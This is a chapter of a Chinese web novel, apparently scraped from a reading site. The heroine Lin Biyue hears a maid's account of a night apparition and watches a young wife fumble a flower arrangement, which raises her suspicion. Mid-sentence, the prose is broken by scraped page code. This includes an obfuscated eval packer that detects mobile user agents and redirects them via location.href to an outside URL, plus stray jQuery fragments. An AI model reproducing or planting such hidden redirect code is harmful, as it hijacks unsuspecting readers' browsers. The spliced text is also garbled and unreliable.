16. 插花

作品:《如何逃脱成为美强惨的宿命

    “我家姑娘自幼体弱,请了无数名医,总是汤药不断,幸得神佛庇佑,一年前,姑娘的身子渐渐好转,人也活泼了不少,可是……”,梅香说到这里时,眉头揪起,神色凝重,“差不多是在出嫁前的半个月吧,那夜,是我守在姑娘房内,我平日里是个睡眠极浅的人,可那夜,我也说不上来是个什么感觉。”


    她停下来,细细回想当时的感受,“大概就是昏昏沉沉,睡得也不算深,但眼皮就是睁不开”,她又再次停顿,眉眼间带着困惑,手不住绞着帕子,显得焦躁不安。


    “怎么了”,林璧月上前轻轻抚摸着她的背脊,“没事的,你别着急,慢慢来,想到了什么就说出来,别怕,不碍事的。”


    “我……我不知道,我好像有睁开过眼,但是那又好像只是一个梦罢了。”


    “你看到什么了?”


    “我……我朦朦胧胧中看见……一个黑影站在姑娘床前,惨白的月光,帘子……帘子一层层的,我看不真切,当时我整个人根本动不了,眼前的景象渐渐模糊,翌日起来,一切如旧,我只认为那是一场大梦罢了”,可现下她愈是回忆,那景象便愈发真切,“我也搞不清。”


    “还有一件事儿”,她神情忧戚。


    江逾白:“姑娘但说无妨。”


    “那夜过后,没过几天呢,我家姑娘就生了一场大病,高烧了一整夜,吃了郎中开的药,也不管用,还一直说着些听不明的糊涂话,奇怪的是,第二天,烧就退了,整个人又恢复了正常的状态。”


    “别的,就没有了”,梅香可怜兮兮地望着她,“大师,怎么样啊,我不会死吧”,


    “没事,你别太担心,这个给你”,林璧月从怀中,掏出师尊从前所绘制的护灵符,还有一个传讯纸蝶,“这符能保你不受妖气侵扰,并且在有妖邪攻击你时,这符也可护你一二,至于这纸蝶,你感觉到危险的时候,就撕碎它。”


    “对了,我们与你谈论的这些事,你千万别对他人提起”,她俯身在梅香耳边,语气深沉,恐吓似的说道:“那妖的耳目无处不在,若被它发觉了什么,它定会对你下死手的。”


    梅香慌忙点头,收下东西后,就匆匆与他们告别,赶着去伺候夫人。


    江逾白看着梅香离去的背影,心中有些奇怪,“看样子,朝颜确实已经找上了他们,接下来,得开始排查工作了。”


    “你等等”,江逾白不解地看向拦着他的林璧月,后者则是笑着开口,“还有一天半的时间才到二十日交界呢,我听闻今日下午,将有场插花赛事,这样的热闹,众人可都不会缺席,我也想凑凑热闹。”


    “什么时候了,你还想着玩”,江逾白最终还是拜倒在她的眼神攻势下,“好吧。”


    他们赶到的时候,好戏已经开场了,众人的注意力无一不集中在灿烂花枝间,林璧月回到叶如黛身旁。


    “你可算回来了,我都快无聊死了”,叶如黛的声音有气无力,这样勾心斗角的沉闷宴席,是她平生最厌烦的。


    林璧月安抚地拍拍她的手,倾身耳语道,“一切正如我们所预料的那样,每个人都对上了。”


    “那”,她眉峰轻挑,神色渐渐凝重。


    “别急”,林璧月看着江露影,眼中是深不见底的暗色,她无声笑了笑,“无形之中,一切自有辩白。”


    江露影神情恹恹,因身子虚弱,不时掩面轻咳,动作也十分缓慢,因此她修剪案上的花枝的速度,比之他人,慢了不只一星半点。


    徐辉见心上人这娇弱的模样,连忙上前温情宽慰,带着她匆匆离席,去歇息了。


    “这江小姐身子好像真的不太好,弱柳扶风原来是这样的”,叶如黛兴冲冲地转头,欲与身侧之人,说些悄悄话,结果却是扑了一场空,刚回来的人,又再次消失了。


    叶如黛两眼一黑,她真的快要抓狂了。


    而这一边的林璧月,再次触发了被动技能,尾随其后。


    话说,这徐三公子还蛮有情趣的嘛,落日余晖,泛舟湖上,绿水盈盈,只是可怜了她,没法蹭上小舟,只能忍受着蚊虫叮咬,躲藏在树丛中,还要时刻盯着船上那两人的动向,此时此刻,她只恨自己没有千里眼,顺风耳。


    在她第n+1次,驱赶蚊虫的时候,那两人总算是兴尽回岸了,她松了口气。


    两人上岸时,在一旁观望已久的小厮,神色慌张,匆忙向前,同徐辉说了些什么,后者也是一愣,懊恼不已地回身,含情望向身侧的妻子,拢拢她身上的素罗披风,温声细语,耳鬓厮磨了几句。


    “梅香,细心照顾好夫人,晚间风寒,仔细别着了凉。”


    梅香点头称是,与自家姑娘站在原地,目送他离开,“姑娘,天色暗了,湖畔的风大,咱们回屋吧。”


    江露影垂眸不语,看着湖中的倒影,良久后道,“不碍事,梅香,你回屋中将我那件藏蓝色的茧绸披风取来,我想一个人在这呆会儿。”


    梅香神情犹豫不决,江露影面露不悦,厉声说道:“愣着做什么,还不快去。”


    梅香无奈,只能听命,疾行回屋取披风来。


    等人都走后,江露影缓缓蹲下身子,看着水中自己的模样,孩童般伸出手,轻拍水面,看着泛起的涟漪,揉皱了那忧愁的眉眼,她不由轻展笑颜,玩得起兴时,蓦然发现水中多了个人影。


    “夫人身子娇弱,这湖水阴凉,夫人还是少碰的好。”


    “怎么是你”,她站起身后,目光惊诧地看着眼前之人。


    来人正是青云寺中,与她有过一面之缘的林璧月,“湖畔阴冷,我在那的水榭放了个手炉,夫人若不嫌弃,不若与我移步水榭,先用着暖暖手。”


    “姑娘有心了”,她勾唇一笑,欣然应允。


    这水榭就在附近,不多时便到达了,林璧月将那手炉递给她,转而拿起桌上的花枝细察。


    “姑娘怎会在此处?”


    “随家中长辈来的,席面无聊极了,我便独自寻了这么个清净处,好让自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16660548|188417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    静下心来,摆弄这些花”,她的手轻轻抚过,桌上的各个花枝,眉眼带着暖阳的笑意,“方才,我远远望见夫人一个人呆立于湖畔,想着夫人体弱,这才擅自打扰您了,还请夫人莫怪。”


    “什么怪不怪的,我倒得多谢你这样替我着想,真是有心了”,江露影眼神一闪,只垂眸浅浅笑着,“还不知姑娘芳名。”


    “林璧月”,她目光紧紧追随着江露影的每一个动作,“夫人会插花么。”


    “妾身不才,只略通一二。”


    “夫人过谦了,小人今日领略到这插花的魅力,深陷其中,不能自拔,现下正苦于无人指教,不曾想竟有如此缘分,在这遇见您,不知夫人可否为我做个示范。”她面上按耐不住的欣喜,眼中带着期盼与恳请。


    “这”,江露影握着手炉的手,陡然收紧,面上带着迟疑之色。


    林璧月见状,故作天真无知之态,只笑着将自己面前的花枝,都移至她眼前,然后亲昵地依着她坐下,笑意盈盈地望着她。


    女子靠近她的一刹那,少女身上的馨香与温度包围着她,江露影身子一僵,呆滞地看着桌上的花枝,骑虎难下,不自在的笑着。


    “就用这个青瓷瓶怎么样”,虽是询问,可林璧月却已经拿起一旁的青瓷,递到她手边。


    事已至此,江露影也只能接下青瓷,轻舒一口气后,从一众繁杂的花枝中,取出玉兰、牡丹及海棠,而后着手开始修剪花枝。


    她的动作倒是行云流水,一气呵成,不多时,便完成了,只是这成果……


    “我就说夫人方才是过于自谦了,夫人的这作品,乃是我今日所见种种中,最为欢喜的”,林璧月丝毫不吝啬自己的夸奖,将她的技艺吹成了这世上绝无仅有的。


    江露影内心暗自松了一只气,说:“林姑娘过奖了,你喜欢就好,时候不早了,我得离开了。”


    正在此时,不远处传来了梅香的呼喊,“是我的丫鬟在寻我,就此别过,有缘再会,林姑娘。”


    林璧月面上不舍地笑着,目送她离开,可那笑意却是未达眼底,直至江露影的身影,彻底消失在她的视线里,她才将玩味的目光,投向她方才完成的插花作品。


    “真是个好作品”,她指尖轻敲着桌面,内心按捺不住的欢喜与雀跃,“只可惜,不是世俗意义上的好作品。”


    这青瓷瓶中的插花真可谓是杂乱无章,身为主枝的玉兰竟与地枝牡丹平行,瓶内的海棠花的逆向枝也未被完全修剪,各色花枝间交错重叠、交叉缠绕。


    耳边回响起,梅香今日所说的那句话,“我们夫人的插花技艺,那才叫厉害呢。”


    “这插花的三忌都让她一个人犯完了”,她拖着脑袋,眼睛一眨也不眨地看着那东西,语气无奈,心情复杂得很,“可是为什么呢?就算那些事真是她所为,可扶玉呢?朝颜真的能狠下心杀了自己的亲姐姐吗?又或是误杀?可那又是为什么呢?”


    她沮丧地叹了口气,实在想不明白。